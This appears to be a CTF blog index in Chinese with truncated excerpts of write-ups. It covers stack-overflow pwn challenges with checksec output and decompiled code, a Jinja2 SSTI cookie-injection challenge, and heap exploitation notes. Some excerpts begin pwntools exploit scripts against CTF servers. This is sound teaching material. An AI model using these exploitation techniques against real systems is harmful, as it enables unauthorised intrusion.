checksec
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
main
int __cdecl main()
{
int buf; // [esp+4h] [ebp-14h] BYREF
char v2; // [esp+Bh] [ebp-Dh]
int fd; // [esp+Ch] [ebp-Ch]
sub_80486BB();
fd = open("/dev/urandom", 0);
if ( fd > 0 )
read(fd, &buf, 4u);
v2 = sub_804871F(buf);
sub_80487D0(v2);
return 0;
}
/dev/urandom : Unix系统中的特殊设备文件,可用作随机数发生器或者伪随机数发生器
sub_804871F
int __cde...
知识点
SSTI模板注入 Cookie注入
index.php
hint.php
我们在hint.php中看到Why not take a closer look at cookies?,加上题目名字我们可以猜测这道题的漏洞点在cookie上面
我们通过burpsuite抓下包看一下cookie
页面提交后,cookie这里多了一个user=(msg you input),那么是不是可以命令执行呢
经过多次尝试,发现这是一个SSTI.即服务器端模板注入,什么是SSTI呢
SSTI
是什么 : Server-Side Template Injection
是什么引发 : render_template渲染函数 , 该函数在渲染时, 对用户输入的变量不做渲染 , {{}}在jinja2中作为变量包裹标识符,即jinja2中,会把{{}}包裹的内容当作变量解析替换,比如4会被解析成4,这样就像sql一样存在注入漏洞
判断SSTI类型
网上扒拉了一张图
exp
那么我们经过测试之后,大...
一道简单的rop,就是一丢丢坑
checksec
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
main
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
pthread_t newthread; // [rsp+8h] [rbp-8h] BYREF
init_io(argc, argv, envp);
while ( 1 )
{
pthread_create(&newthread, 0LL, test_thread, 0LL);
pthread_join(newthread, 0LL);
}
}
test_thread
int __fastcall test_thread(void...
[NISACTF2022]ezstack
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
shell();
return 0;
}
shell
ssize_t shell()
{
char buf; // [esp+0h] [ebp-48h]
system("echo Welcome to NISACTF");
return read(0, &buf, 0x60u);
}
shell函数处有溢出
完整exp
from pwn import *
elf = ELF('')
# io = process('')
io = remote('124.221.24.137',28760)
padlength = 0x48 + 0x4
bin_sh = next(elf.search(b'/bin...
[NISACTF2022]ezpie
checksec
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
OHHH!,give you a gift!
0x56573770
Input:
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
puts("OHHH!,give you a gift!");
printf("%p\n", main);
puts("Input:");
vuln();
return 0;
}
vuln
ssize_t vuln()
{
char buf; /...
先贴下exp,wp晚点来补
完整exp
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabled
from pwn import *
from ctypes import *
# from LibcSearcher import *
import sys
context(os = 'linux' , arch = 'amd64')
context.terminal = ["tmux", "splitw", "-h"]
local = 1
if local == 0:
io = remote('1.14.71.254',28788)
else:
io = process("/mnt/c/Users/M1sceden4/Desktop/pwn/babygame_虎符CTF_2022")
libc_rand = cdll.LoadLibrary...
堆
今天整理了一下Heap部分的一些笔记,小汇总一下
在程序运行过程中,堆可以提供动态分配的内存,允许程序申请大小未知的内存。堆是程序虚拟空间地址的一块连续的线性区域,由低地址向高地址上增长
堆题漏洞一般在delete()函数上,多半是指针未清空导致成为野指针,从而可以进行UAF等
实现堆利用的方法
ptmalloc2 - glibc
dlmalloc - General purpose allocator
jemalloc - Firefox and FreeBSD
tcmalloc - Google
libumem - Solaris
ps:与系统交互的函数主要是(s)brk函数以及mmap,munmap函数,不是malloc或者free
malloc
malloc(size_t n)
malloc返回对应大小字节的内存块的指针,此外,该函数对一些异常进行了处理
n = 0 , 返回当前系统允许的堆的最小内存块
当n为负数时,由于在大多数系统上,size_t是无符号常数,所以会系统会申请很大的内存空间,但通常来说都会失败,因为系统没有那么...